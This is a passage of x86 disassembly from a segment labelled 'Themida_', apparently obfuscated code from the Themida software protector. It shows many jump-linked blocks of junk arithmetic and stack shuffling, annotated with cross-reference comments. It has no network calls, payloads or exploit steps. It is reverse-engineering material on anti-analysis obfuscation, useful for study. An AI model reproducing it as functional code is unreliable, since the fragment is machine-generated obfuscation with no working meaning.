xor eax, [esp]
mov esp, [esp]
jmp loc_56498B
; ---------------------------------------------------------------------------
loc_56F2EB: ; CODE XREF: Themida_:0056062Ej
push eax
jmp loc_56A0BD
; ---------------------------------------------------------------------------
loc_56F2F1: ; CODE XREF: Themida_:005650B3j
mov edx, 0E1F5897h
mov ebp, 73A922F3h
jmp loc_56B6E7
; ---------------------------------------------------------------------------
loc_56F300: ; CODE XREF: Themida_:00567A07j
push 969h
mov [esp], esi
mov esi, 0DF2335F9h
push edi
mov edi, 396D26C8h
jmp loc_55D7AC
; ---------------------------------------------------------------------------
mov cx, [esp]
push 52DCh
mov [esp], edi
push 1BC2h
jmp loc_567576
; ---------------------------------------------------------------------------
loc_56F32E: ; CODE XREF: Themida_:005706DBj
mov ebp, 13EC90DEh
add esi, ebp
mov ebp, [esp]
push eax
mov eax, esp
jmp loc_55E61C
; ---------------------------------------------------------------------------
loc_56F340: ; CODE XREF: Themida_:0056E548j
mov [esp], edx
push 5B0Dh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5684C8
; ---------------------------------------------------------------------------
loc_56F357: ; CODE XREF: Themida_:0055F777j
xchg ecx, edi
push edx
push edi
jmp loc_562446
; ---------------------------------------------------------------------------
loc_56F360: ; CODE XREF: Themida_:00567D92j
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
push ecx
mov ecx, 3BB66CAFh
inc ecx
jmp loc_56A187
; ---------------------------------------------------------------------------
loc_56F376: ; CODE XREF: Themida_:0055D95Dj
xor bl, dl
jmp loc_562EF0
; ---------------------------------------------------------------------------
loc_56F37D: ; CODE XREF: Themida_:0057102Fj
push ebx
mov ebx, 13D62849h
mov ebp, ebx
jmp loc_564879
; ---------------------------------------------------------------------------
loc_56F38A: ; CODE XREF: Themida_:0055E19Bj
add edi, 14D735C3h
or edi, 4B34654h
add edi, 9D58D2D9h
mov ecx, edi
jmp loc_561E6E
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56F3AB: ; CODE XREF: Themida_:0056A966j
add esi, edx
pop edx
push edi
mov edi, 4
add esi, edi
push dword ptr [esp]
jmp loc_564BFA
; ---------------------------------------------------------------------------
loc_56F3BE: ; CODE XREF: Themida_:0057032Cj
mov edi, [esp]
add esp, 4
mov eax, ebp
jmp loc_569030
; ---------------------------------------------------------------------------
loc_56F3CE: ; CODE XREF: Themida_:00562B8Aj
mov [esp], edx
jmp loc_56CD78
; ---------------------------------------------------------------------------
loc_56F3D6: ; CODE XREF: Themida_:00571D7Bj
sub al, 18h
add al, cl
add al, 18h
pop ecx
mov dh, 45h
add dh, 0E4h
add dh, 0CFh
sub dh, al
jmp loc_56A6EF
; ---------------------------------------------------------------------------
loc_56F3EC: ; CODE XREF: Themida_:0055ED2Ej
pop dword ptr [esp]
push edx
mov edx, 4
add [esp+4], edx
jmp loc_566977
; ---------------------------------------------------------------------------
loc_56F3FE: ; CODE XREF: Themida_:005659FBj
sub eax, 4F9C2D39h
mov esi, eax
jmp loc_56CA7C
; ---------------------------------------------------------------------------
loc_56F40A: ; CODE XREF: Themida_:0056055Ej
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], esp
jmp loc_56C72D
; ---------------------------------------------------------------------------
loc_56F419: ; CODE XREF: Themida_:00565F14j
add ebx, 38926E2Ch
pop eax
sub esp, 4
mov [esp], ebx
jmp loc_56524D
; ---------------------------------------------------------------------------
loc_56F42B: ; CODE XREF: Themida_:0056CE32j
push edx
jmp loc_5646CA
; ---------------------------------------------------------------------------
loc_56F431: ; CODE XREF: Themida_:005600AEj
push dword ptr [esp+4]
jmp loc_560741
; ---------------------------------------------------------------------------
loc_56F43A: ; CODE XREF: Themida_:00566ECEj
push eax
mov eax, 307A62BCh
add ebp, eax
pop eax
mov ecx, [esp]
add esp, 4
and eax, ebp
pop ebp
or eax, eax
jz loc_56B897
push dword ptr [edi+1Ch]
push edi
push esp
pop edi
add edi, 4
jmp loc_560B1F
; ---------------------------------------------------------------------------
loc_56F465: ; CODE XREF: Themida_:00566850j
xor edx, edx
push edx
push ebx
push esi
mov esi, 3A51167Ch
add [esp+4], esi
mov esi, [esp]
jmp loc_55E091
; ---------------------------------------------------------------------------
loc_56F47B: ; CODE XREF: Themida_:0056404Dj
xor ecx, 1521FA5Ch
jmp loc_563B54
; ---------------------------------------------------------------------------
loc_56F486: ; CODE XREF: Themida_:0056BEEDj
and edx, 62B32125h
xor edx, 422D1ED2h
add edx, 0F85DF8h
push edi
mov edi, 0DE7B6239h
add edx, edi
jmp loc_565D74
; ---------------------------------------------------------------------------
loc_56F4A5: ; CODE XREF: Themida_:005620AAj
add eax, edi
push ebx
jmp loc_561E64
; ---------------------------------------------------------------------------
loc_56F4AD: ; CODE XREF: Themida_:005621EEj
mov esi, 72243429h
add esi, 4008112Eh
shr esi, 3
add esi, 0E754A131h
jmp loc_564BB1
; ---------------------------------------------------------------------------
loc_56F4C6: ; CODE XREF: Themida_:005628B9j
sub edi, 0EEDAF6F3h
mov esi, edi
pop edi
shr esi, 3
and esi, 4CD05A9Eh
xor esi, 78AC0A71h
neg esi
jmp loc_5682BF
; ---------------------------------------------------------------------------
loc_56F4E5: ; CODE XREF: Themida_:005724EBj
push small 640Fh
mov [esp], cx
push 79FCh
mov [esp], ebx
mov bh, 19h
push ebx
push eax
push edx
mov dl, 40h
mov ah, dl
pop edx
jmp loc_56DF46
; ---------------------------------------------------------------------------
loc_56F504: ; CODE XREF: Themida_:00569877j
add esp, 4
push ecx
push esi
add dword ptr [esp], 78E43734h
pop ecx
sub ecx, 78E43734h
mov ebp, ecx
jmp loc_5706AD
; ---------------------------------------------------------------------------
loc_56F521: ; CODE XREF: Themida_:0056EB2Dj
push esi
push 4
jmp loc_571544
; ---------------------------------------------------------------------------
loc_56F52C: ; CODE XREF: Themida_:0056BEDEj
add ebp, 0FFFFFFFFh
jmp loc_5707E9
; ---------------------------------------------------------------------------
loc_56F537: ; CODE XREF: Themida_:00562854j
pop eax
jmp loc_56E1EB
; ---------------------------------------------------------------------------
loc_56F53D: ; CODE XREF: Themida_:0055FDEAj
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_562530
; ---------------------------------------------------------------------------
loc_56F554: ; CODE XREF: Themida_:005615CEj
push 5A35h
jmp loc_55E9F8
; ---------------------------------------------------------------------------
loc_56F55E: ; CODE XREF: Themida_:0056182Bj
sub ebx, 19CA9EEh
add eax, ebx
pop ebx
sub eax, 4
jmp loc_56ED9B
; ---------------------------------------------------------------------------
loc_56F56F: ; CODE XREF: Themida_:0055F3F8j
push ebx
jmp loc_567EC1
; ---------------------------------------------------------------------------
loc_56F575: ; CODE XREF: Themida_:00566753j
not edx
add edx, 0FA41F655h
push edx
add dword ptr [esp], 42EC7C62h
pop esi
jmp loc_570446
; ---------------------------------------------------------------------------
loc_56F58B: ; CODE XREF: Themida_:0056AA4Fj
sub eax, 0FFFFFFFFh
sub esp, 4
mov [esp], ebx
mov ebx, 23B62372h
inc ebx
or ebx, 37453A39h
add ebx, 0C8DFE1Fh
and eax, ebx
pop ebx
push edx
mov edx, 2F294A77h
jmp loc_5625AD
; ---------------------------------------------------------------------------
loc_56F5B7: ; CODE XREF: Themida_:0056E6BEj
push 1C28h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 3F3Ah
jmp loc_5653A9
; ---------------------------------------------------------------------------
loc_56F5CE: ; CODE XREF: Themida_:00569065j
push edx
jmp loc_5635FE
; ---------------------------------------------------------------------------
loc_56F5D4: ; CODE XREF: Themida_:0056BD8Cj
add edx, eax
push esi
mov esi, 5C916BD0h
neg esi
neg esi
dec esi
push ebx
mov ebx, 5CCF7994h
xor esi, ebx
pop ebx
push edi
push ebx
jmp loc_5644AD
; ---------------------------------------------------------------------------
loc_56F5F1: ; CODE XREF: Themida_:0056CEBAj
mov [esp], esi
jmp loc_5627AB
; ---------------------------------------------------------------------------
loc_56F5F9: ; CODE XREF: Themida_:00568004j
add eax, 58B23313h
sub eax, ebp
sub eax, 58B23313h
pop ebp
push 755h
mov [esp], edi
push 57CEh
mov [esp], eax
mov eax, 72BD229Dh
push esi
mov esi, 4A4E182Ch
jmp loc_5729DC
; ---------------------------------------------------------------------------
loc_56F626: ; CODE XREF: Themida_:0056FA5Dj
sub bl, al
sub bl, 0CCh
push cx
mov ch, 0CAh
sub bl, 0E1h
sub bl, 0C3h
jmp loc_571C54
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
sub esp, 4
mov [esp], esp
push edx
mov edx, 4
add [esp+4], edx
pop edx
pop esi
push 1A4Ch
mov [esp], ebp
jmp loc_56B6BF
; ---------------------------------------------------------------------------
loc_56F65E: ; CODE XREF: Themida_:005705C1j
mov edi, edx
pop edx
mov esi, edi
pop edi
push edi
mov edi, 1
jmp loc_55F38B
; ---------------------------------------------------------------------------
loc_56F66F: ; CODE XREF: Themida_:00567885j
xor eax, 7CA87C6Dh
sub eax, 9C7F465Ch
and ebp, eax
mov eax, [esp]
add esp, 4
jmp loc_55F1D2
; ---------------------------------------------------------------------------
loc_56F686: ; CODE XREF: Themida_:00567611j
push edx
jmp loc_567A51
; ---------------------------------------------------------------------------
loc_56F68C: ; CODE XREF: Themida_:0056A30Aj
add al, 2Bh
mov dl, al
pop eax
sub dl, ah
jmp loc_55EE7F
; ---------------------------------------------------------------------------
loc_56F698: ; CODE XREF: Themida_:0055E97Fj
mov eax, 62412F9Eh
mov edx, 2506487Ch
push ecx
mov ecx, 338C3F1Eh
sub edx, ecx
jmp loc_56D127
; ---------------------------------------------------------------------------
loc_56F6AF: ; CODE XREF: Themida_:00565A1Bj
inc ebp
dec ebp
add ebp, 0C936566Bh
jmp loc_561997
; ---------------------------------------------------------------------------
loc_56F6BC: ; CODE XREF: Themida_:005631BBj
add ecx, ebx
pop ebx
add ecx, ebp
sub ecx, 2330094Ah
mov ebp, [esp]
add esp, 4
push eax
mov eax, 2
jmp loc_5722FB
; ---------------------------------------------------------------------------
loc_56F6DB: ; CODE XREF: Themida_:00562CFCj
xchg dx, bx
jmp loc_56D20B
; ---------------------------------------------------------------------------
loc_56F6E3: ; CODE XREF: Themida_:0055EB28j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
dec byte ptr [esp]
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56F6F8: ; CODE XREF: Themida_:0055F94Dj
add al, cl
jmp loc_56902A
; ---------------------------------------------------------------------------
loc_56F6FF: ; CODE XREF: Themida_:00568340j
sub esi, edi
pop edi
and eax, esi
push dword ptr [esp]
pop esi
jmp loc_5604BF
; ---------------------------------------------------------------------------
loc_56F70D: ; CODE XREF: Themida_:00570D6Cj
add ecx, 786E1A15h
sub edx, ecx
jmp loc_56B2A1
; ---------------------------------------------------------------------------
loc_56F71A: ; CODE XREF: Themida_:00567DBEj
xchg edx, [esp]
pop esp
pop edi
push esi
push edx
push 58AD21FAh
jmp loc_567E0E
; ---------------------------------------------------------------------------
loc_56F72B: ; CODE XREF: Themida_:00569F9Ej
mov esi, 28C35898h
jmp loc_56CA07
; ---------------------------------------------------------------------------
loc_56F735: ; CODE XREF: Themida_:0055E00Bj
add eax, esi
add eax, 50272CFFh
pop esi
sub edi, 7F44615h
add edi, 45CA490Eh
sub edi, 0E07B3Bh
add edi, eax
add edi, 0E07B3Bh
sub edi, 45CA490Eh
push eax
mov eax, 7F44615h
add edi, eax
pop eax
pop eax
jmp loc_56C608
; ---------------------------------------------------------------------------
loc_56F76C: ; CODE XREF: Themida_:00561AAEj
add ebx, 19C168Eh
add ebx, edi
sub ebx, 19C168Eh
jmp loc_570D76
; ---------------------------------------------------------------------------
loc_56F77F: ; CODE XREF: Themida_:0056BA21j
xor edi, offset byte_480001
add ebx, edi
jmp loc_56B40F
; ---------------------------------------------------------------------------
loc_56F78C: ; CODE XREF: Themida_:00569BDDj
sub esp, 4
mov [esp], esi
mov esi, 4923666Ch
add ebp, esi
jmp loc_571EC2
; ---------------------------------------------------------------------------
loc_56F7A1: ; CODE XREF: Themida_:005636B3j
add eax, ebp
pop ebp
add eax, ebp
sub eax, 16CC6EFFh
jmp loc_571E89
; ---------------------------------------------------------------------------
loc_56F7B0: ; CODE XREF: Themida_:0056B4CBj
push 1040h
mov [esp], ecx
mov ecx, esp
push ebp
mov ebp, 4
jmp loc_56DF04
; ---------------------------------------------------------------------------
loc_56F7C5: ; CODE XREF: Themida_:005696F3j
push ebx
push 6ECDh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
jmp loc_56D79B
; ---------------------------------------------------------------------------
loc_56F7EC: ; CODE XREF: Themida_:0056CCD2j
add eax, ebp
push edx
mov edx, 3F36604Eh
add eax, edx
pop edx
add eax, 35171464h
sub eax, 4DA13895h
mov ebp, [esp]
add esp, 4
add eax, 2
xor eax, [esp]
xor [esp], eax
jmp loc_567B47
; ---------------------------------------------------------------------------
loc_56F81A: ; CODE XREF: Themida_:00571052j
dec esi
not esi
not esi
jmp loc_55D8BF
; ---------------------------------------------------------------------------
loc_56F824: ; CODE XREF: Themida_:0056D35Bj
mov esp, [esp]
xor ebp, 15E654D7h
add ebx, 7FB5470Fh
jmp loc_5705F7
; ---------------------------------------------------------------------------
loc_56F838: ; CODE XREF: Themida_:00561C22j
mov [esp], edi
jmp loc_55DD86
; ---------------------------------------------------------------------------
loc_56F840: ; CODE XREF: Themida_:00562274j
xor esi, 707B050Ch
shr esi, 8
add esi, 1
push ebp
mov ebp, 135873h
xor esi, ebp
jmp loc_55EB2D
; ---------------------------------------------------------------------------
loc_56F85C: ; CODE XREF: Themida_:0055FC02j
push 4FC9h
mov [esp], esp
jmp loc_563EA5
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
push esp
jmp loc_56F141
; ---------------------------------------------------------------------------
loc_56F874: ; CODE XREF: Themida_:0056CE10j
mov esi, [esp]
jmp loc_56F2D4
; ---------------------------------------------------------------------------
loc_56F87C: ; CODE XREF: Themida_:00572460j
sub eax, ebx
pop ebx
sub eax, ecx
add eax, 6C1D3D0Fh
pop ecx
xchg eax, [esp]
jmp loc_56DCAB
; ---------------------------------------------------------------------------
loc_56F88F: ; CODE XREF: Themida_:0056725Aj
mov ax, [esp]
jmp loc_568746
; ---------------------------------------------------------------------------
loc_56F898: ; CODE XREF: Themida_:00567EABj
pop esp
add edx, 4
push ebp
push eax
jmp loc_55EDB5
; ---------------------------------------------------------------------------
loc_56F8A6: ; CODE XREF: Themida_:005669B9j
shr edi, 6
add edi, 0FD6ADC5Eh
add ebx, edi
pop edi
jmp loc_56DBA3
; ---------------------------------------------------------------------------
loc_56F8B7: ; CODE XREF: Themida_:005679C1j
pop ebp
push eax
mov eax, 4
add ebp, eax
pop eax
jmp loc_55FD7C
; ---------------------------------------------------------------------------
loc_56F8C6: ; CODE XREF: Themida_:005686D2j
add esp, 4
add edx, 4
push edi
push 2FA0h
mov [esp], ebp
push eax
mov eax, 6D502318h
mov ebp, 78303607h
sub ebp, eax
pop eax
mov edi, ebp
pop ebp
add edi, 5CF33518h
or edi, 46F9659Ah
dec edi
xchg edx, edi
xchg ebx, edx
jmp loc_56CD8B
; ---------------------------------------------------------------------------
loc_56F902: ; CODE XREF: Themida_:00562534j
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
sub esp, 4
jmp loc_56F184
; ---------------------------------------------------------------------------
loc_56F924: ; CODE XREF: Themida_:00567013j
pop esi
xchg edi, [esp]
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_55DB10
; ---------------------------------------------------------------------------
loc_56F937: ; CODE XREF: Themida_:0056A711j
mov ebp, 66470A4Ch
add ebp, 55317CB4h
sub ebp, 978C5044h
mov esi, ebp
pop ebp
jmp loc_566FEB
; ---------------------------------------------------------------------------
loc_56F950: ; CODE XREF: Themida_:005691B3j
pop edx
mov esi, ecx
pop ecx
push edi
mov edi, 40214940h
sub dword ptr [esp+8], 5E0C4983h
sub [esp+8], edi
push ebx
jmp loc_56BF9B
; ---------------------------------------------------------------------------
loc_56F96C: ; CODE XREF: Themida_:0056695Bj
add ebx, 0E00D23E7h
push 244Eh
mov [esp], ebx
push ebp
jmp loc_5609D2
; ---------------------------------------------------------------------------
loc_56F980: ; CODE XREF: Themida_:0055F5BDj
xchg edx, [esp]
jmp loc_55E57D
; ---------------------------------------------------------------------------
loc_56F988: ; CODE XREF: Themida_:00565CC0j
push eax
push 7CBF599Eh
mov eax, [esp]
add esp, 4
neg eax
add eax, 0BC0F6075h
jmp loc_55E494
; ---------------------------------------------------------------------------
loc_56F9A3: ; CODE XREF: Themida_:0056DB53j
xor eax, 8A335E43h
push ecx
mov ecx, 5D5C7FDEh
add ecx, 0BCA8467h
sub esi, ecx
pop ecx
jmp loc_55FDA4
; ---------------------------------------------------------------------------
loc_56F9BC: ; CODE XREF: Themida_:00570F5Bj
add esp, 4
add edx, ecx
jmp loc_572388
; ---------------------------------------------------------------------------
loc_56F9C9: ; CODE XREF: Themida_:0056E270j
pop ebx
xchg ebp, ebx
dec ebp
xchg ebp, ebx
push 0
jmp loc_5635B8
; ---------------------------------------------------------------------------
loc_56F9D9: ; CODE XREF: Themida_:0055EE5Fj
mov ebp, [esp]
jmp loc_563F02
; ---------------------------------------------------------------------------
loc_56F9E1: ; CODE XREF: Themida_:0056A7C7j
xor eax, 7A0E7261h
push ebx
mov ebx, 5AB80069h
jmp loc_563021
; ---------------------------------------------------------------------------
loc_56F9F1: ; CODE XREF: Themida_:0055F087j
add ebp, 4
xchg ebp, [esp]
pop esp
neg dl
add dl, 37h
sub al, dl
pop edx
jmp loc_566CE7
; ---------------------------------------------------------------------------
loc_56FA05: ; CODE XREF: Themida_:0056D309j
sub dword ptr [esp+4], 318D0DB9h
add [esp+4], eax
add dword ptr [esp+4], 318D0DB9h
pop eax
pop edi
sub edi, 1DC41F21h
mov ebx, [esp]
add esp, 4
push edi
jmp loc_562408
; ---------------------------------------------------------------------------
loc_56FA2D: ; CODE XREF: Themida_:0055FA3Dj
mov ecx, 7C907C29h
xor ebp, ecx
pop ecx
jmp loc_5708F5
; ---------------------------------------------------------------------------
loc_56FA3A: ; CODE XREF: Themida_:005615D4j
mov edi, 0FC40E800h
sub eax, edi
pop edi
add eax, ebx
pop ebx
jmp loc_5669BE
; ---------------------------------------------------------------------------
loc_56FA4A: ; CODE XREF: Themida_:00565AC4j
pop esp
mov [esp], esp
add dword ptr [esp], 4
jmp loc_56FFC6
; ---------------------------------------------------------------------------
loc_56FA57: ; CODE XREF: Themida_:005617C0j
xor dl, 0B4h
add bl, dl
pop edx
jmp loc_56F626
; ---------------------------------------------------------------------------
loc_56FA62: ; CODE XREF: Themida_:0056220Cj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56CB31
; ---------------------------------------------------------------------------
loc_56FA70: ; CODE XREF: Themida_:0056B584j
shr ebx, 6
not ebx
xor ebx, 63ED5116h
shr ebx, 8
push edx
mov edx, 2C86A1DFh
xor ebx, edx
pop edx
xor esi, ebx
pop ebx
mov ebp, esi
pop esi
push eax
jmp loc_55FDBA
; ---------------------------------------------------------------------------
loc_56FA93: ; CODE XREF: Themida_:00566A81j
xor eax, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_56886A
; ---------------------------------------------------------------------------
loc_56FAA2: ; CODE XREF: Themida_:0056E653j
sub bh, 0FFh
inc bh
push ecx
push ebx
mov bh, 14h
mov ch, 0D9h
jmp loc_5658FD
; ---------------------------------------------------------------------------
loc_56FAB2: ; CODE XREF: Themida_:0056949Bj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_568387
; ---------------------------------------------------------------------------
loc_56FAC8: ; CODE XREF: Themida_:00570292j
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add esi, 4
add esi, 4
push 3558h
mov [esp], esi
push dword ptr [esp+4]
jmp loc_560E84
; ---------------------------------------------------------------------------
loc_56FB0B: ; CODE XREF: Themida_:005724FFj
sub ecx, 4
xchg ecx, [esp]
jmp loc_55EB97
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56FB21: ; CODE XREF: Themida_:0056FF14j
mov ecx, esi
sub esp, 4
mov [esp], edx
mov edx, ecx
push edx
mov ebp, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
jmp loc_572246
; ---------------------------------------------------------------------------
loc_56FB3C: ; CODE XREF: Themida_:0056DFE6j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push ebx
mov ebx, 4EE80040h
push ecx
mov ecx, 688F04FBh
add ebx, ecx
pop ecx
xor ebx, 0B777053Fh
add ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
push 7436h
mov [esp], edi
push esp
jmp loc_56B981
; ---------------------------------------------------------------------------
loc_56FB77: ; CODE XREF: Themida_:005656C2j
pop ecx
sub esp, 4
mov [esp], edx
pop ebp
pop edx
mov ebx, ebp
pop ebp
xor eax, ebx
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_55E0C1
; ---------------------------------------------------------------------------
loc_56FB9F: ; CODE XREF: Themida_:0056DF3Bj
neg edi
add edi, 3194644Bh
xor edi, 58425806h
push ebp
jmp loc_565636
; ---------------------------------------------------------------------------
loc_56FBB3: ; CODE XREF: Themida_:00566CC2j
mov ebp, 14780286h
jmp loc_564575
; ---------------------------------------------------------------------------
loc_56FBBD: ; CODE XREF: Themida_:00572689j
mov esi, 26586A87h
add ebp, esi
mov esi, [esp]
add esp, 4
pop eax
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
div cl
jmp loc_562859
; ---------------------------------------------------------------------------
loc_56FBDC: ; CODE XREF: Themida_:0056787Bj
push ebp
push ebx
push 4876506Bh
jmp loc_55EB57
; ---------------------------------------------------------------------------
loc_56FBE8: ; CODE XREF: Themida_:005661A5j
sub esp, 4
mov [esp], edx
jmp loc_568B36
; ---------------------------------------------------------------------------
loc_56FBF3: ; CODE XREF: Themida_:0056DF59j
and eax, ebp
pop ebp
or eax, eax
jnz loc_56B8CD
sub esp, 4
mov [esp], esi
push eax
jmp loc_56ADF2
; ---------------------------------------------------------------------------
loc_56FC0A: ; CODE XREF: Themida_:0056368Fj
xor ecx, 12C154ABh
xor ecx, 292747B1h
shl ecx, 4
inc ecx
jmp loc_568408
; ---------------------------------------------------------------------------
loc_56FC1F: ; CODE XREF: Themida_:005727A7j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56FC24: ; CODE XREF: Themida_:00560673j
neg edi
xor edi, 2D2C6786h
add edi, 22AA44BAh
or edi, 7E4E748Ch
add edi, 5ACBB819h
neg edi
jmp loc_571FAC
; ---------------------------------------------------------------------------
loc_56FC45: ; CODE XREF: Themida_:00567EBCj
mov edx, [esp]
add esp, 4
push ebp
push esp
pop ebp
jmp loc_561C1D
; ---------------------------------------------------------------------------
loc_56FC53: ; CODE XREF: Themida_:005667F5j
dec cl
sub cl, 0D4h
push eax
mov al, 0A6h
shl al, 5
jmp loc_55FD02
; ---------------------------------------------------------------------------
loc_56FC63: ; CODE XREF: Themida_:005644F1j
mov edx, [esp]
jmp loc_55D89F
; ---------------------------------------------------------------------------
loc_56FC6B: ; CODE XREF: Themida_:0056D796j
dec ebp
push eax
mov eax, 5207182Ah
add ebp, eax
jmp loc_56C296
; ---------------------------------------------------------------------------
loc_56FC79: ; CODE XREF: Themida_:0055F4FEj
neg ebp
push ebx
mov ebx, 6E0D4FA2h
sub ebp, 2D253ED1h
add ebp, ebx
add ebp, 2D253ED1h
pop ebx
sub edi, ebp
jmp loc_565CC5
; ---------------------------------------------------------------------------
loc_56FC97: ; CODE XREF: Themida_:00567C24j
add esi, edx
pop edx
xor esi, [esp]
xor [esp], esi
jmp loc_56EEFD
; ---------------------------------------------------------------------------
loc_56FCA5: ; CODE XREF: Themida_:00570828j
push edx
mov edx, 612047A8h
mov ebp, edx
pop edx
sub ebp, 612047A4h
push ebp
mov ebp, 647445D9h
add ebp, 0AF2502DDh
add ebx, ebp
pop ebp
add ebx, ebp
sub ebx, 139948B6h
jmp loc_57202A
; ---------------------------------------------------------------------------
loc_56FCD0: ; CODE XREF: Themida_:0056682Cj
add ebx, edx
sub ebx, 3CA826DAh
pop edx
sub ebx, 36E233Eh
add ebx, edi
push eax
mov eax, 34261AF8h
and eax, 40B31F93h
and eax, 38C54096h
sub eax, 0FC91DD52h
add ebx, eax
pop eax
push 30E7h
mov [esp], edx
push edi
jmp loc_56013E
; ---------------------------------------------------------------------------
loc_56FD07: ; CODE XREF: Themida_:00561CCBj
mov [esp], esi
jmp loc_56867F
; ---------------------------------------------------------------------------
loc_56FD0F: ; CODE XREF: Themida_:00569D46j
push ebp
mov ebp, 1E446A67h
jmp loc_5720BF
; ---------------------------------------------------------------------------
loc_56FD1A: ; CODE XREF: Themida_:0056A82Fj
or ebp, 32EE01DCh
neg ebp
jmp loc_561BBE
; ---------------------------------------------------------------------------
loc_56FD27: ; CODE XREF: Themida_:0055FC65j
mov ebp, [esp]
add esp, 4
add eax, edx
sub eax, 19DF6AFAh
jmp loc_56C702
; ---------------------------------------------------------------------------
loc_56FD3C: ; CODE XREF: Themida_:0055EEC1j
mov ebp, 33CC69FBh
add ebp, 11734928h
jmp loc_56CEF8
; ---------------------------------------------------------------------------
loc_56FD4C: ; CODE XREF: Themida_:0056B20Ej
push esi
mov esi, esp
jmp loc_568DD2
; ---------------------------------------------------------------------------
loc_56FD54: ; CODE XREF: Themida_:0056CBE8j
push edx
jmp loc_55F551
; ---------------------------------------------------------------------------
loc_56FD5A: ; CODE XREF: Themida_:00570C66j
add edx, 5224EABh
mov ecx, edx
pop edx
sub ecx, 0C295DD5h
jmp loc_55DEA9
; ---------------------------------------------------------------------------
loc_56FD6E: ; CODE XREF: Themida_:0056BA51j
sub edi, ebp
jmp loc_567048
; ---------------------------------------------------------------------------
loc_56FD75: ; CODE XREF: Themida_:0056AC78j
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_568C50
; ---------------------------------------------------------------------------
loc_56FD86: ; CODE XREF: Themida_:00568852j
mov ecx, [esp]
add esp, 4
movzx ax, byte ptr [eax]
push ebx
mov ebx, esp
push edx
mov edx, 4
add ebx, edx
pop edx
push edx
mov edx, 4
sub ebx, edx
pop edx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
push esp
pop eax
add eax, 4
push 2D79h
mov [esp], ecx
jmp loc_571057
; ---------------------------------------------------------------------------
loc_56FDCB: ; CODE XREF: Themida_:00571F03j
pop edx
push ecx
jmp loc_56BAA3
; ---------------------------------------------------------------------------
loc_56FDD2: ; CODE XREF: Themida_:0057105Cj
sub esp, 4
mov [esp], ebx
mov ebx, 0A0A7418h
push ecx
mov ecx, 1B052B63h
add eax, ecx
pop ecx
add eax, ebx
sub eax, 1B052B63h
mov ebx, [esp]
add esp, 4
sub eax, ecx
push edi
mov edi, 758A486Fh
jmp loc_55FD09
; ---------------------------------------------------------------------------
loc_56FE00: ; CODE XREF: Themida_:00571951j
xchg ecx, [esp]
jmp loc_56C16E
; ---------------------------------------------------------------------------
loc_56FE08: ; CODE XREF: Themida_:0055E385j
add edi, 4
jmp loc_5695FC
; ---------------------------------------------------------------------------
loc_56FE13: ; CODE XREF: Themida_:00569752j
pop eax
sub ebx, 4DBB29FFh
add ebx, 54952320h
add ebx, edx
sub ebx, 54952320h
add ebx, 4DBB29FFh
jmp loc_55D5B7
; ---------------------------------------------------------------------------
loc_56FE33: ; CODE XREF: Themida_:00567E8Ej
sub eax, edi
sub eax, 40AE67BFh
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_563577
; ---------------------------------------------------------------------------
loc_56FE4B: ; CODE XREF: Themida_:00560E7Fj
xor edi, 31FB9887h
add eax, edi
pop edi
add edx, eax
mov eax, [esp]
add esp, 4
jmp loc_56479A
; ---------------------------------------------------------------------------
loc_56FE61: ; CODE XREF: Themida_:0056C77Aj
push ebp
mov ebp, eax
mov esi, ebp
pop ebp
jmp loc_563416
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4D67h
mov [esp], edx
mov edx, esp
jmp loc_563C8B
; ---------------------------------------------------------------------------
loc_56FE7F: ; CODE XREF: Themida_:00561851j
pop esp
jmp loc_56D360
; ---------------------------------------------------------------------------
loc_56FE85: ; CODE XREF: Themida_:0056D5EAj
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop ebp
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 0F50261h
jmp loc_5686B7
; ---------------------------------------------------------------------------
loc_56FEA8: ; CODE XREF: Themida_:005670A1j
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_55E6A2
; ---------------------------------------------------------------------------
loc_56FEC0: ; CODE XREF: Themida_:005616D4j
add ebx, ebp
pop ebp
mov eax, [esp]
add esp, 4
pop dword ptr [eax]
jmp loc_563FA4
; ---------------------------------------------------------------------------
loc_56FED3: ; CODE XREF: Themida_:005689A8j
mov [esp], ebx
jmp loc_568620
; ---------------------------------------------------------------------------
